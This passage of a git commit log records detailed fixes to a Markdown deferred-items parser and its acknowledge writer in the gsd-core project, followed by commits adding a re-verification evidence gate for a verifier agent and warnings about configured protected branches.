refuses, which the milestone loop turns into `record_ack_failure` → exit 1.
The loop is prose in a workflow, so the test drives the two CLI calls it
makes: `audit-open --json` must list the entry, and
`audit-open acknowledge --text <the audit's own text>` must refuse with the
heading-delimited message and write nothing.

* docs(#3702): changeset and forensic-audit prose carry the round-2 grammar

The changeset names the CRLF fixes, the ordered start-at-1 rule, thematic
breaks and fences. The `/gsd-progress` forensic-audit step is the one
prose parser of this file and must state the same grammar the code has.

* fix(#3702): round-review refinements — run ends at a paragraph, rejected ordinals unstripped, breaks at any indent, fenced fields, `## Gaps` scope

Findings from the pre-push adversarial review of round 2, each pinned:

- An ordered run ENDS at a paragraph that follows a blank line (CommonMark
  §5.3); a non-indented line with no blank before it is lazy continuation
  and keeps the run open. `1. a` / blank / `paragraph` / blank / `5. x` is
  one entry, not two.
- The heading path strips the marker off every body line before field
  extraction (#3457); a line whose ordinal `matchListOpener` REJECTED must
  not be stripped, or "3. status: resolved" as prose loses its `3. ` and
  reads as a resolved field. `splitDeferredHeadingEntriesDetailed` now
  carries a per-line opener flag and only accepted openers are stripped —
  in headless regions of a heading-shaped file too.
- A thematic break is recognised at any indent, matching the parser's
  indent-lenient reading of items; `    * * *` was a phantom `* *`.
- Fenced lines carry no FIELDS either: a `status: resolved` quoted inside a
  code block no longer resolves its entry on either path.
- Block structure (breaks, fences) is a property of the GRAMMAR, carried as
  `BulletMarkers.blockStructure`: the deferred set opts in, the Gaps set
  does not, so `## Gaps` is byte-for-byte on its `next` behaviour — the
  round-2 M1/M2 change had reached it through the shared splitter.

* test(#3702): the property exercises the rejected-ordinal branch; the N2 control is independent

Round review: the widened #2287 property numbered every ordered run from 1
and so never generated an ordinal the start-at-1 rule rejects — it could
not tell round 1 from round 2 on B2. Each entry may now carry a decoy prose
line beginning with a non-1 ordinal, placed where it cannot end a run
(before the first headless entry; first in a heading body), followed by a
`status: resolved` that must never become a field; and a decoy-only
heading body must yield no entry.

The N2 assertion accepted a tab, which round 1's `\s` accepted too, so a
`[ \t]` → `\s` revert alone stayed green. NBSP, form-feed and vertical-tab
are now asserted refused — the assertion that fails on that revert on its
own, and the disclosure that `[ \t]` narrows what round 1 accepted.

* fix(#3702): the splitter records its own opener flags; an opener clears the blank-line memory

Round-review continuation, two state defects in the ordered-run logic:

- `blankSeen` survived the headless splitter's opener branch, so an opener
  followed by a lazy continuation line read as "paragraph after a blank" and
  ended the run — `1. a` / blank / `2. b` / lazy / `3. c` folded `c` into `b`.
  The opener branch now clears it.
- The heading path re-derived per-line opener flags for headless regions
  without the paragraph reset, re-accepting a rejected `3. status: resolved`
  under a stale run and stripping it into a field. `GapsEntrySpan` now
  carries the flags the splitter itself computed, and the heading path reads
  them; the re-derivation is deleted.

* fix(#3702): ordered-run memory is per indent — nested runs resolve, nested ordinals never inherit the top-level run

Round-review continuation 2: nested openers consulted the TOP-LEVEL run
flag and never wrote their own, so a nested `1. / 2.` run under a hyphen
entry rejected its `2. status: resolved` (round 1 resolved it), while a
nested `3. status: resolved` under a nested `- ` bullet inherited an open
top-level run and was stripped into a false field.

`OrderedRuns` keys the memory by indent: a new opener at indent d resets
every deeper level, a paragraph after a blank at indent d ends the runs at
d and deeper, a thematic break or a heading clears all. Both splitters use
it; the top level still decides entry boundaries, nested levels decide
only which continuation lines are accepted openers for field stripping.
Pinned for LF and CRLF.

* fix(#3702): run levels — one top level at or above the base, CommonMark column indents, a fence ends its level's runs

Round-review continuation 3:

- A dedenting top-level list (`    1.` / `  2.` / `3.`) lost its entry
  boundaries: the exact-indent run lookup rejected the shallower ordinals
  before the boundary check ran. Every indent at or shallower than the
  list's base is now ONE level, in both splitters.
- `indentOf` counted characters, so a tab and a space aliased to one level
  and `\t1. nested` / ` 2. status: resolved` resolved falsely. Indent is now
  measured in CommonMark columns (§2.2: a tab advances to the next multiple
  of 4), for the run level and the entry-boundary check alike.
- A nested run survived a fenced block. A fence is a non-list block: its
  opening delimiter ends the runs at its level and deeper, exactly as a
  paragraph after a blank does.

* fix(#3702): the indent measure is grammar-scoped — Gaps keeps next's character count

`blockStructure: false` promised the Gaps grammar byte-for-byte parity with
`next`, but the CommonMark-column indent measure added for the deferred
grammar was shared by the whole splitter core, so tab-indented Gaps input
changed entry boundaries in BOTH directions:

  `\t- a` / `  - b`  — next folded into one entry, HEAD split into two
  `  - a` / `\t- b`  — next split into two,      HEAD folded into one

`indentWidth` now keys the measure on the grammar: columns for the deferred
set, raw character count for Gaps. The opt-out covers indent semantics, not
only fences and thematic breaks.

Four cases pin both halves — the two flipped Gaps pairs, the two Gaps pairs
that never moved, and the same tab/space pairs on the deferred path returning
the opposite (column-measured) verdict by design.

* fix(#3702): the acknowledge path reads and writes through one classifier

Round 3, Blockers 1 and 3, and Minors 7 and 8 — one mechanism, so one commit.
Every consumer of an entry's lines now reads the splitter's own per-line
verdict instead of a re-derivation of it.

B1. Round 2 widened the WRITER's status-line finder to the deferred marker set
while `extractGapEntryFields` still de-bulleted line 0 only. A nested
`  * status: pending` was therefore selectable by the writer and invisible to
the reader: acknowledge rewrote it in place, returned `ok`, and the item stayed
outstanding on every later audit. Measured against a `next` build, `*`, `+` and
`1.` each resolved on base and stopped resolving at round 2's head — a
regression, not a gap in new behaviour. The hyphen form of the same shape was
already broken on `next` and is fixed here too: one classifier cannot be right
for three markers and wrong for the fourth.

`parseGapEntryFieldLine` is now the single place a line is classified as a
field, and it reports the offset at which the VALUE begins. The rewrite happens
at that offset rather than through a second regex, so a line the classifier can
select is one whose rewrite it has already located — the selection and the
rewrite cannot disagree. Both `DEFERRED_STATUS_FIELD_RE` and
`DEFERRED_STATUS_REWRITE_RE` are deleted rather than widened. A read-back guard
returns `rewrite_not_readable` rather than `ok`; it is unreachable by
construction today and is the fail-loud floor under the next divergence.

B3. This is the end state the round-3 review prescribed on both #3739 and
#3773: #3773's shared classifier, parameterised by this PR's marker set, with
this PR's two status regexes deleted. #3773 lands first. Its hyphen-only strip
is consistent with `next`'s hyphen-only splitter today, so the writer/reader
divergence is created by THIS merge, which is why widening every consumer
belongs to the PR that widens the domain.

m7. The heading path marker-stripped its lines before calling the reader, so
the reader's fence scan ran over text the splitter never saw: `- ```sh` is an
ordinary bullet to the splitter but strips to a fence opener, and a
`**Status:** resolved` after it was suppressed as fence content — a resolved
entry resurfaced as open. Stripping now happens inside the reader, after the
fence scan.

m8. `rawGapEntryText` stripped a marker off line 0 unconditionally, but on the
heading shape line 0 is the heading TEXT: `### 1. Race in the writer` was
silently renamed to `Race in the writer`, and the name is the key acknowledge
matches on. Line 0 is stripped only when the splitter accepted it as an opener.

Also removed: `splitDeferredHeadingEntries`, whose sole caller only null-checked
it (round 3, M4 — the claim was zero callers, which was wrong; the wrapper's
`.map` was waste at the one call site), and `stripLeadingBulletMarker`, which
this change leaves with no callers at all. The export surface narrows to the two
splitter regexes the behavioural parity test reads (M6).

[PEER-ASK pr-order-12d5]
q: Reviewer blocked both on merge order. I'm declaring #3773 lands first and
   building the end-state shape into #3739 now (both my status regexes
   deleted). Does that match your plan?
reply: CONFIRMED - same order, derived independently. #3773 cannot carry the
   fold: `DEFERRED_BULLET_MARKERS`/`BulletMarkers` have zero occurrences at
   `next` (verified), so the prescribed end state is not executable inside
   #3773 without absorbing this PR's work.
deadline: 03:55 UTC (answered before it)
fallback: declare #3773 first, adopt end-state shape in #3739, push+comment
decision: proceeded as stated; #3773 lands first, this PR carries the widening
   of every consumer.

Refs #3740

* test(#3702): pin the detect/strip symmetry, and drop a white-box test that could not reach it

Round 3, Blocker 2 and Minors 6 and 9.

B2. The regression shipped green because no fixture put a marker on a nested
status line. Four markers x {nested status line}, each asserting the entry
READS BACK as acknowledged rather than that acknowledge merely reported `ok` —
reporting `ok` over a line the reader skips is the whole defect. Plus the bare
capitalised `Status:` case (the reader stores it case-sensitively, so the
writer must not select it), and an idempotence test, which is the failure the
defect actually produced: the item resurfaces, is acknowledged again, and never
settles.

Each of these was run against the pre-fix build first: all five fail there and
pass here. Two further assertions in the block are labelled CONTROL because
they held pre-fix — they guard the new offset-based rewrite and the opener-flag
threading against regressing, and calling them regression tests for a reported
defect would overclaim.

M6. The round-2 parity test asserted that four writer-side regexes embedded the
same source string. That is true of a detect/read asymmetry too, so it could
not have caught B1 — and two of the four regexes were widened into `export =`
purely to let it read them. Replaced with a behavioural test that drives the
real seam: every marker that opens an entry must also resolve it through
acknowledge. The structural assertion is kept for the two splitter regexes,
which really are two copies of one alternation.

m9. `expectedResolved` was computed and immediately voided; the loop beneath it
already asserts both polarities.

m7/m8 coverage lands here too: a bullet whose content is a fence opener must
not suppress the entry's fields, and a heading beginning with a list marker
must keep it in the entry name.

* docs(#3702): document the deferred-items entry shape where the file is written

Round 3, Major 5, and #3702's own item 2. The widened grammar was documented in
the reader (`forensic-audit.md`) but not at the write site, where
`executor-examples.md` still said only "log to deferred-items.md" — so the
question the issue actually raised, which shapes count, remained unanswered
anywhere a human writes the file.

States what opens an entry (`-`, `*`, `+`, and `1.` when the list starts at
`1.`), that `1)` is not a marker here, that a separator closes the list and
fenced content is never an entry or a field, and that an entry without an
explicit `status: resolved` stays open by design.

* chore(#3702): regenerate the changeset through the generator

Round 3, Minor 10. The fragment was hand-named against 64 generated names on
`next`, and its body ran ~250 words against CONTRIBUTING's one-sentence form.
Regenerated via `npm run changeset`, which is also what the random three-word
name is for: concurrent PRs never collide.

* fix(#3702): the fence gate lives on the seam both sides call, not just the reader

Found by the pre-push adversarial review of this round, and it is a regression
this round introduced rather than a pre-existing one.

`extractGapEntryFields` applied `fencedLineSet` before classifying; the
acknowledge writer's status-line search did not. So a `status:` line inside a
fenced block was SELECTED by the writer and SKIPPED by the reader — the write
produced a line nothing reads, the read-back guard refused it, and the entry
became impossible to acknowledge at all: `audit acknowledge` raised an internal
error and `complete-milestone` halted on it.

Measured, `- alpha` / fence / `  status: pending` / fence:

  next          ack=ok                   -> reads back "acknowledged"
  round-2 head  ack=ok                   -> reads back ""      (the B1 defect)
  before this   ack=rewrite_not_readable -> refuses entirely   (worse than next)

`entryFieldLines` is now the seam — per line of an entry, the field it declares
or `null`, fences included — and the reader and the writer both go through it.
That makes "the writer cannot select a line the reader will not read back"
structural rather than asserted, which is what the previous commit's message
claimed while a second read-side filter still lived outside the classifier.

Two comments corrected with it. The read-back guard is NOT "unreachable by
construction": this round shipped a reachable path to it, which is precisely
what an invariant asserted in a comment is worth. And the M6 replacement test
put its marker only on the entry opener, so it passed against the defective
build — the exact weakness it was introduced to fix in round 2's test. It now
marks the nested status line too, and fails pre-fix like the rest.

Round-3 tests against the pre-fix build: 10 of 12 fail there, and the 2 that
hold are labelled CONTROL because they guard this round's new code rather than
pin a reported defect.

* fix(#3702): one end-of-file CRLF algorithm, adopting #3773's with its B4 closed

Round-4 M1. Two open PRs shipped two different answers to "what line ending
does an entry that ENDS THE FILE get?", and the review's ruling was that the
disagreement needs one answer, not two. Neither shipped answer was that one.
Measured on builds of both heads:

  case                                     #3739 r3   #3773   here
  undelimited single entry, CRLF preamble    pass      FAIL    pass
  LF-dominant list, one stray CRLF at EOF    FAIL      pass    pass
  (the other five)                           pass      pass    pass

This PR's content.endsWith('\r\n', matchIndexInContent) reads the terminator of
the PREVIOUS line, so it propagated an isolated CRLF into an LF-dominant list --
refuted by #3773's own LF-dominant fixture, ported here. Withdrawn.

#3773's crlfAtEof asks the right question -- does anything before the entry,
within scope, contradict CRLF -- and fails closed. But its scope goes EMPTY for
an undelimited single-entry list, because the entry-list region runs from the
first entry's start to the insertion point and those coincide; crlfAtEof('') is
false by its own before.length > 0 guard, so 'preamble\r\n\r\n- alpha' gained a
bare \n in a CRLF document. That is #3773's B4, verified by driving its head.

Adopted here with the scope widened to everything preceding the insertion point
where the preferred region is empty, rather than asserting LF from no evidence.
That only ever loosens a scope carrying zero information, and the predicate
stays fail-closed over the wider one. An entry at offset 0 of an undelimited
document has no evidence under either scope and stays LF.

Tests: 10 added. Negative control, driven -- 1 of the 10 fails against this
branch's own pre-fix head (the stray-CRLF fixture); B4 fails against #3773's
head; the remaining 8 are the scope counterexamples ported with the function,
which were regression pins in #3773 and are guards here. Each still kills a
simpler algorithm: drop any one and a refuted scope passes again.

Four deferred-items suites 450/450, 0 skipped. npm run lint:ci exit 0.

* fix(#3702): drop the unreachable rewrite_not_readable guard (B3)

Round-4 B3: the status had zero test coverage in either file. The review
offered two branches -- drive it from a test, or delete it and stop carrying an
untested terminal status. Taking the second, with the reason stated rather than
assumed.

Why it cannot be driven. Round 3 added the guard after a fenced `status:` line
proved the writer could select a line the reader would not read back. Round 3
then closed that divergence STRUCTURALLY, by routing the writer's line selection
and the reader's field extraction through one entryFieldLines seam. The guard
now detects a state construction prevents: 21 document shapes were driven
against it -- fence openers on the bullet line for every marker in the widened
set, duplicate and triplicate status lines, bolded and nested variants, fences
between duplicates -- and none reached it. The only seam that would is routing
the internal call through the module's exports so a test could stub it, which
reshapes production surface for a test.

Why leaving it undriven is not free. RULESET.TESTS.mutation-score runs Stryker
incrementally over changed files at an 80% threshold and says to treat a
surviving mutant as a failing test specification. An undriven `if` on a changed
file is exactly that, on both the condition and the .toLowerCase() comparison.

What this gives up, stated rather than hidden: if a future change re-splits the
writer's selection from the reader's extraction, acknowledgeDeferredItem returns
ok over an item that stays outstanding -- the original #3702 defect class. One
correction to the review's framing: match_verification_failed does NOT backfill
it. That check runs BEFORE the write and compares the matched span to the
target, so it cannot see a post-write read-back failure. The protection against
re-splitting is the shared seam and the round-3 tests that pin it, not a runtime
assertion. A comment at the removal site records all of this.

Removing it also drops the union member from both files, which resolves the PR
body's internal contradiction (it claimed no type-signature changes while adding
one) and the duplicate-status surface #3773 collides on.

No test changed behaviour: 450/450 across the four deferred-items suites, 149/149
across the audit suites, npm run lint:ci exit 0 -- the same figures as before the
removal, which is itself the evidence that nothing exercised the branch.

* fix(#3702): the deferred fence gate is indent-unbounded, like the rest of the grammar (M2)

Round-4 M2. scanFencedBlocks is CommonMark, which caps a fence delimiter's
indent at three spaces -- a fourth makes it an indented code block instead. This
grammar had already opted out of that cliff for entry openers ([ \t]*) and for
THEMATIC_BREAK_RE (^[ \t]*), but not for fences. So a fence at four spaces was
not a fence to the gate, and a `status: resolved` line inside it RESOLVED the
entry containing it.

That is not an exotic shape. A fenced block written under a NESTED bullet sits
at four spaces, so ordinary hand-written deferred-items.md files reach it.
Driven before the fix at indents 4, 5, 8 and a leading tab: all four silently
resolved. It is the #3702 silent-resolution defect class in a new place.

gsd-core/references/executor-examples.md, added by this PR, states flatly that
"nothing inside a fenced code block is an entry or a field". The review offered
fixing the parser or bounding that claim in three places. Fixing it -- the claim
is the one users will rely on, and the grammar had already chosen unbounded
indent everywhere else.

NO second fence dialect (the rule blankIndentedFenceDelimiters states). The
classification is still done by scanFencedBlocks, the one exported CommonMark
state machine, over a de-indented VIEW of the same lines. Run lengths, backtick
vs tilde, closer-must-match-and-not-trail, info-string rules and the
unterminated-at-EOF case remain that engine's answers. Indent is the only
dimension hidden from it, and it is exactly the dimension this grammar has
already declared it does not measure. Index alignment is 1:1 -- map preserves
length -- so every returned line index still addresses the original line.

Scope is the deferred grammar only. Both marker-parameterised call sites gate on
markers.blockStructure, which the Gaps set does not set, so Gaps reaches an empty
set. Verified, not asserted: the 47-fixture Gaps differential (marker x
line-ending x separator x fence x break x key-shape x list-shape) is
BYTE-IDENTICAL across this change, 8033 bytes both sides.

Tests: 14 added, of which 8 fail against the pre-fix source and pass here; the
other 6 are the deliberate controls -- indents 0 through 3, which must NOT move,
and the Gaps opt-out guard.

Four deferred-items suites green; the 58 suites touching uat/deferred/sectionizer
run 6045 tests with an IDENTICAL failing set before and after this change (17
pre-existing environment failures -- installs and an unpinned GSD_EMITTED_BASE;
emitted-attribution passes 259/259 in isolation with its base pinned). lint:ci
exit 0.

* fix(#3702): changeset, both prose parsers, and the minors (M3, M4, m1-m3, m5, n1-n2)

M3 -- the changeset omitted a user-BREAKING change. Measured against next: a
heading-delimited deferred-items.md written with `*`, `+` or `1.` went from
"0 entries, so complete-milestone has nothing to acknowledge and closes" to
"1 entry, the CLI writer refuses the heading shape, ACK_FAILURES accumulates,
exit 1". The `-` form already halted and is unchanged. That is release-note
material: a close that used to succeed now fails, and the correct response is to
fix the file, not revert. Also names the fence-indent fix below, and adds #3740
so #3773's issue is attributed here as it is absorbed.

M4 -- gsd-core/workflows/progress/steps/forensic-audit.md is a SECOND,
model-executed parser of the same grammar, and prose cannot carry a parity test.
Its widened text stated the start-at-1 rule, fences and separators but not the
`1)` exclusion nor the nine-digit ordinal cap, both enforced in code with pinned
tests. Both stated now, along with the round-4 fence-indent rule. (No ack
fragment: the size ratchet's currentSizes does a NON-recursive readdirSync of
gsd-core/workflows and agents, so a file under workflows/progress/steps/ is
outside its scope -- verified by reading the helper, not by the green.)

n1 -- executor-examples.md documented that the BOLDED status key is matched
case-insensitively and left the bare key's rule to inference. Driven: bare
`Status: resolved` is NOT read, so the entry stays open with no warning, while
`**Status:**` is. Stated explicitly, with the digit cap and the any-indent fence
rule (n2).

m1 -- boundary coverage was 2/3. limit (999999999.) and limit+1 (1234567890.)
were pinned; limit-1 (12345678.) added, per RULESET.TESTS.boundary-coverage.

m2 -- THEMATIC_BREAK_RE and the tab-expanding indent counter are hand-rolled
CommonMark rules with no in-repo peer to compare against, so the parity
assertion is against the SPEC: eight positive and five negative fixtures, plus
the two DELIBERATE divergences pinned as deliberate (`+` is a separator here but
not in CommonMark, because `+` is a list marker in this grammar and `+ + +`
would otherwise be a phantom entry; indent is unbounded). One fixture was
initially wrong -- `-- -` IS a CommonMark break, since the spec allows free
spacing between the three characters -- and the parser was right.

m3 -- the result union is hand-duplicated in audit.cts as part of a deliberate
structural view of uat.cjs, so the fix is not to delete a copy but to make drift
observable. Every REACHABLE status is now driven from a fixture; four of the six
(ambiguous, unsupported_heading_shape, already_resolved, match_verification_failed)
had no assertion anywhere in the suite before this. match_verification_failed is
still undriven and the test says so rather than omitting it.

m5 -- DECLINED, with the measurement. The review is right that `(\s*)` in the
opener and `/^[ \t]*/` in the reader disagree about \f, \v and NBSP, but its
prescribed narrowing was implemented, driven and REVERTED: as shipped, an entry
indented with any of those surfaces, parses its status field, acknowledges, and
reads back acknowledged -- a complete round-trip. Narrowing turns all three into
SILENTLY DROPPED entries, which is the #3702 defect class itself and the opposite
of this file's stated fail-safe rule. A latent inconsistency in the safe
direction is not worth a live regression in the unsafe one. Pinned by three
round-trip tests so the prescription cannot be re-applied silently; if it is ever
closed, the direction is to make the readers agree with the opener, not to make
the opener reject lines it accepts today.

Four deferred-items suites 475/475, 0 skipped. lint:ci and lint:changeset exit 0.
The 47-fixture Gaps differential is byte-identical at 8033 bytes.

* fix(#3702): the pinned `## Gaps` phantom now cites its issue (m4)

Round-4 m4. The second assertion in the Gaps byte-for-byte test pins a real
defect as expected output: a spaced hyphen thematic break in `## Gaps` is read
as an ITEM, so `- - -` surfaces a phantom open gap named `- -`. Reproduced on
pristine next at 389bc86e0 across nine separator shapes -- every spaced hyphen
form is affected, `---`/`----`/`* * *`/`___` are not, and the dividing line is a
space after the first hyphen (the Gaps opener is /^(\s*)(-)\s/ with no
thematic-break concept at all).

Filed as open-gsd/gsd-core#3898. The pin stays: scope-limiting Gaps is the point
of the blockStructure opt-out, and this assertion is the only thing that would
notice the Gaps path moving. What was missing was the tracking -- a pinned defect
with no issue behind it reads as intended behaviour to the next reader. The
comment now says which it is and what the expectation becomes when #3898 lands.

* fix(#3702): an unterminated fence runs to the end of its entry, never past it (B1, B2)

Round 4 de-indented every line before `scanFencedBlocks`, so a fence
opened at any indent — and `scanFencedBlocks` runs an unterminated
fence to end-of-document — so one stray delimiter swallowed every entry
after it into the entry before it. `- a` / blank / four-space ``` /
blank / `- b` yielded ONE entry where `next` yields two: a widening
that made an already-counted item vanish, on the mixed-file shape #3702
exists to close. Reproduces at indent 0 as well.

The bound is the entry. CommonMark closes a fence with its container
and a container at the next item at its level; this parser extends
that to a document-level stray delimiter, where CommonMark would
swallow to EOF and the fail-safe rule (surface, don't drop) will not.
`scanFencesFrom` reports the unterminated opener and the walk supplies
the bound — the next line shaped like a top-level item — then RESCANS
from it, so a later delimiter is read on its own terms. Still one
fence dialect: every block boundary is `scanFencedBlocks`' answer.
Entry-scoped `fencedLineSet` (the field reader) already ran an
unterminated fence to the end of its lines, so reader and walk agree
by construction.

Tests: the M2 pin that asserted `[]` for a stray fence before an item
flips (the item counts); the round-4 "runs to end-of-file, exactly as
CommonMark says" test is retitled — its assertion stands because the
bound is the entry — and extended with the next entry; a new block pins
the review reproduction at both indents, a terminated deep fence still
gating, the gated status inside the bounded fence, the rescan case, and
the heading-tokenizer caveat (at indent 0 the tokenizer applies
CommonMark's own fence rule, so a heading after a stray delimiter is
body text there, exactly as on `next`).

Reverted in isolation against the final tree: 3 named tests fail.

* fix(#3702): `0.` starts an ordered list (M1)

The start-at-1 rule applied unconditionally dropped ONLY the first item
of a `0.`-numbered list — the run then started at `1.` — which is the
mixed under-report that looks like a clean parse. CommonMark §5.2
permits any 1-9-digit start and a `0.` list is ordinary; a sentence
opening with "0." is not a shape anyone writes. The threshold is now
`> 1`. The cost is restated accurately in the doc comment and pinned:
a list starting at 2 or more, at a paragraph position, reads as prose
until its first `0.`/`1.` line — the prefix, not the whole list.

Boundary tests at the threshold itself: `0.`, `1.`, `2.` starts, `00.`/
`01.`, and the prefix-loss case. Reverted in isolation: 1 named test
fails.

* fix(#3702): a non-1 ordinal is an item wherever a list is already open at its level (M2)

The per-indent run memory recorded whether the previous opener was
ORDERED, so a bullet item closed the run and `1. a` / `- b` / `5. c`
folded `5. c` into `b` — another mixed-file under-report. In CommonMark
`5. c` there opens a fresh ordered list (start=5): a non-1 start is
refused only where it would interrupt a PARAGRAPH (§5.3), and after a
list item it interrupts nothing. `ListRuns` now records "a list is
open here"; the start rule applies where no list is open at the line's
level — the positions a sentence can occupy — so the round-2 B2 pins
(doc start, after a heading, after a paragraph) hold unchanged.

Two round-2 pins move with it, both CommonMark-backed: `1. alpha` /
`- beta` / `2. gamma` is three items, and a nested `3. status:` after
a nested bullet is a nested item (a field line, as `- status:` would
be); the "rejected ordinal is not stripped" pin is re-anchored at a
paragraph position, where it still holds. Reverted in isolation: 4
named tests fail.

* docs(#3702): the two runtime-loaded docs state the grammar the parser ships (B3, M4 parity)

`executor-examples.md` (the write-site doc) and `forensic-audit.md`
check 7 (the model-executed parser) both asserted "never silently drops
a possibly-open item" over a grammar that dropped three measured shapes.
Both now carry the round-5 grammar — `0.`/`1.` starts, a non-1 ordinal
inside an open list, an unclosed fence ending with its own entry — and
the fail-safe sentence is kept with what it does NOT cover named
beside it: a fenced line, a separator, and an ordered list numbered
from `2.` upward at a paragraph position, and nothing else.

* docs(#3702): changeset reflects the merged contract

The "Breaking, and deliberate: … HALTS complete-milestone" paragraph
described a refusal that #3781 removed from `next`; a heading-shaped
file written with a newly recognised marker now surfaces its entries
and `complete-milestone` acknowledges them in place. The fragment cites
#3702 alone — #3740 and #3775 closed on `next` through #3940 and #3989;
this PR's shared reader/writer classifier subsumes both fixes rather
than closing either issue. The round-5 grammar (ordered start, unclosed
fence bound) is stated in the user-facing sentence.

* fix(#3702): the heading-shape insert lands on a line the reader reads, and keeps a closing `#` sequence

Found by the round's pre-push adversarial review. An entry whose body ends
in a fenced block — closed, or unclosed and therefore running to the
entry's end — received `status: acknowledged` AFTER its last non-blank
line, i.e. as fence content: the writer returned `ok` and the reader
never saw the marker, the item stayed outstanding. That is the #3702
class itself (a write nothing reads), on the shape #3781 just opened.
The insert now walks back over blank AND fenced lines, classified by the
reader's own `fencedLineSet`, so the marker lands on a line the reader
reads; pinned as round-trips for an unclosed fence, a closed fence, and
a pending entry ending in an unclosed fence before a heading. Reverted
in isolation: the round-trip test fails.

Separately, the leaf line-0 rewrite (`### status: open ###`) dropped the
closing `#` sequence; it is kept now. Cosmetic, pinned.

* docs(#3702): the prose parser states the bare-key case rule; both docs say what an unclosed fence does, no more

`forensic-audit.md` check 7 called `status: resolved` case-insensitive
where the code reads a bare key lower-case only (the bolded form in any
case; the value case-insensitively) — `executor-examples.md` already said
so, the model-executed parser did not. And both docs claimed "a stray
delimiter cannot hide the entries after it", which overstates B1: an
UNCLOSED fence ends with its entry; a closed pair of delimiters is a
fence, whatever sits between them, as CommonMark reads it. Found by the
round's pre-push review.

* fix(#3702): a heading whose text is a fence delimiter is a heading, not a fence

Second finding of the round's pre-push review, one door over from the
first: for a leaf headed `### ```` (or `~~~`) the entry-level fence scan
read line 0 — the heading TEXT, not a Markdown line — as a fence opener,
so every body line was fenced: the reader read no field under it, and
the writer's marker (placed by the same scan) landed on a line nothing
reads — `ok`, item outstanding. `entryFencedLines` now owns the entry's
fence view for reader and writer alike, and a leaf's line 0 never opens
a fence (the leaf tell is `openerFlags[0] === false`; a pending or
headless entry's line 0 is a marker line, never a delimiter). Pinned for
both delimiters, read and write; reverted in isolation the pin fails.

---------

Co-authored-by: CI Rebase Check <ci@gsd-redux>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-31 13:44:47 -04:00
Tom Boucher
6beaa66b25 enhance(#3304): gate re-verification blockers on deterministic evidence (#4085)
* test(#3304): add failing-first suite for the convergence evidence gate

Content-assertion suite for the Step 7 re-verification evidence gate
(agents/gsd-verifier.md / gsd-core/references/verifier-evidence-gate.md).
Committed before the implementation to prove RED via gsd-test.

* enhance(#3304): gate re-verification blockers on deterministic evidence

Step 7's anti-pattern scan re-runs at full, unbounded scope on every
re-verification pass, independent of the must-haves established in Step 2.
A blocker it finds — other than the self-evidencing debt-marker check —
previously reverted a completed gap-closure round and started another
--gaps cycle on nothing more than the verifier's own new judgment call,
with no bound on how many times that could repeat.

A Step 7 blocker now blocks unconditionally in re-verification mode only
if it is a carried-forward gap (present in the prior VERIFICATION.md's
gaps: list) or the flagged file was git-modified since the prior pass
(a regression; fails closed toward blocking when history is unresolvable).
Otherwise it predates the gap-closure round unflagged and needs
deterministic evidence — a named test run red, or another concrete
reproducible artifact — to stay blocking. Unevidenced, it downgrades to
a new advisory: frontmatter list and report section instead of setting
status: gaps_found, and never reverts a completed must-have.

Maintainer approval was narrowed to this evidence condition only,
explicitly rejecting the broader "advisory whenever untraceable to a
requirement/decision/prior-gap" proposal — implemented and pinned by
tests/verifier-evidence-gate.test.cjs and documented as rejected in
gsd-core/references/verifier-evidence-gate.md so it can't silently
re-expand.

Closes #3304

* fix(#3304): correct window-truncation and indentation bugs in evidence-gate tests

gsd-test's GREEN checkpoint caught 3 real bugs in the test file itself
(not the production prose): a {0,600} match window was shorter than the
724-char paragraph it was scanning (the "exclude from Step 9 Rule 1"
phrase starts at offset 662), and two regexes assumed no indentation
after a markdown list-continuation line break. All three phrases are
confirmed unique across agents/gsd-verifier.md, so the windowed
submatches are replaced with direct whole-string assertions instead of
just widening the window.

Also acknowledges the deliberate byte growth in agents/gsd-verifier.md
that the differential-attribution check (ADR-2719) correctly flagged.

Emitted-Drift-Ack-Growth: gsd-verifier.md — adds the #3304 re-verification evidence gate (Step 7 rule, Advisory bucket, advisory: frontmatter, report section); 1488 bytes, still within the LARGE-tier 48 KiB cap (48751/49152).

* docs(#3304): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-08-30 16:51:52 -04:00
Dennis Kim
8487f0ed42 enhance(#3552): warn on additional protected branches beyond the resolved base branch (#3648)
* test(01-01): add failing protected-branch warning coverage

- pin configured, absent, and malformed branch-list behavior
- require opposite CLI and execute warning outcomes

* feat(01-01): warn on configured protected branches

- resolve the base branch union configured protected branch names
- expose exact boolean CLI comparison output for workflow callers
- keep execute-phase warning advisory and within its byte budget

* test(01-01): add failing protected branch config coverage

- cover valid list persistence and null unset
- reject hostile shapes while preserving the prior value

* feat(01-01): validate protected branch configuration

- register git.protected_branches as a canonical config key
- require a non-empty array of non-blank branch names

* test(01-02): add failing ship protected-branch controls

- Execute both workflow warning blocks with exact predicate arguments
- Require true and false results to produce opposite warning outcomes
- Preserve the none-strategy feature-branch offer contract

* feat(01-02): warn at ship on protected branches

- Reuse the typed protected-branch predicate in ship preflight
- Keep raw base resolution for PR targeting and advisory branch creation
- Prove execute and ship warning blocks with opposite-result controls

* test(01-02): add failing protected-branch docs parity

- Require the canonical schema key in both English config references
- Pin the non-empty string-array type and absent default
- Require synchronized multi-branch examples and advisory semantics

* feat(01-02): publish protected branch configuration contract

- Document the optional non-empty string-array field in both references
- Explain resolved-base union and absent-field compatibility
- Keep execute and ship warnings advisory under branching_strategy none

* fix(01): CR-01 honor active workstream branch policy

* fix(01): WR-01 assert protected config path selection

* docs: add changeset fragment for #3648

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017CteVPJt4BkPmroMPGajYx

* fix(#3648): resolve base_branch precedence inversion and round-1 findings

Blocker 1/2: production config resolution was flat-first, so a project
that migrated to git.base_branch but still carried a stale flat
base_branch got the old value back. Add base_branch to
normalizeLegacyKeys (mirrors the existing branching_strategy/sub_repos
pattern: canonical nested wins) and route readEffectiveGitConfig's
test seam through the same normalization so it can't silently diverge
from production again. Adds a regression test with both keys set that
fails without the fix.

Blocker 3/4/5: restore the handle_branching case-selector prose and
"none" contract sentence that #3389's tests anchor on, and revert the
unrelated prose/comment compaction in the same step — both were
drive-by edits outside #3552's scope.

Also addresses review majors/minors: delete readConfigBaseBranch and
readConfigProtectedBranches (dead in production, only self-tested);
--is-protected now fails closed (reports protected) instead of
silently answering false when the base branch can't be verified;
trim configured protected-branch names; fix HOME-without-USERPROFILE
vacuous isolation on Windows; correct the drift-ack's byte accounting.

